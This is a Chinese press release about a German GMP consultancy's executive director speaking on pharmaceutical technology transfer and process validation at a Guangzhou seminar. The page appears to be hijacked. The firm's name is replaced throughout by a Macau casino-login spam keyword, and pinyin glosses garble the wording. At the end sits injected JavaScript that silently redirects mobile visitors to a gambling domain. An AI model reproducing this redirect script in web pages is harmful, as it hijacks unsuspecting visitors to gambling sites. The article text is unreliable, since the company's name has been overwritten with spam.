澳门葡京登录

澳门葡京登录执行董事Ralf Gengenbach参加“药品技术转移和许可持有人制度”研讨会

2343333

由广(guang)东(dong)省药(yao)学会(hui)(hui)制(zhi)药(yao)工程委员会(hui)(hui)主(zhu)办的“药(yao)品技术(shu)转移和许可持有人制(zhi)度(du)研讨会(hui)(hui)”于上周在(zai)广(guang)州召开,欧洲领先(xian)的GMP咨询(xun)公司澳门葡京登录执行董事Ralf Gengenbach受邀出席(xi),发表了(le)题为“技术(shu)转移——主(zhu)要关注验证”的演讲。

本次会议特别聚焦“技术转移和验证”以及“药品上市许可人制度”,吸引了大量开展新药研发和技术专一的制药工程技术人员、药政管理已经相关的法务和投资界人员到场。
在这次研讨会上,澳门葡京登录执行董事Ralf Gengenbach表示:“由于近年来验证相关法规的变化,官方更希望药企能够能够通过基于风险的方法来识别关键质量属性(CQAs)和关键工艺参数(CPPs),因此为药企提出了一个难题。”除此之外,他结合20余年的验证经验给出了许多关于技术转移的实际操作的建议,包括计划技术转移时需要考虑的因素、技术转移数据包所含的数据和信息、在新场地进行的工艺验证需要考虑的问题、以及验证应遵循的策略。
作为欧洲领先的GMP咨询公司,澳门葡京登录始终专注于在GMP领域为制药提供德国标准的高质量服务,为制药企业确保产品质量与符合性。澳门葡京登录通过TUV南德质量管理体系ISO9001:2008认证。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();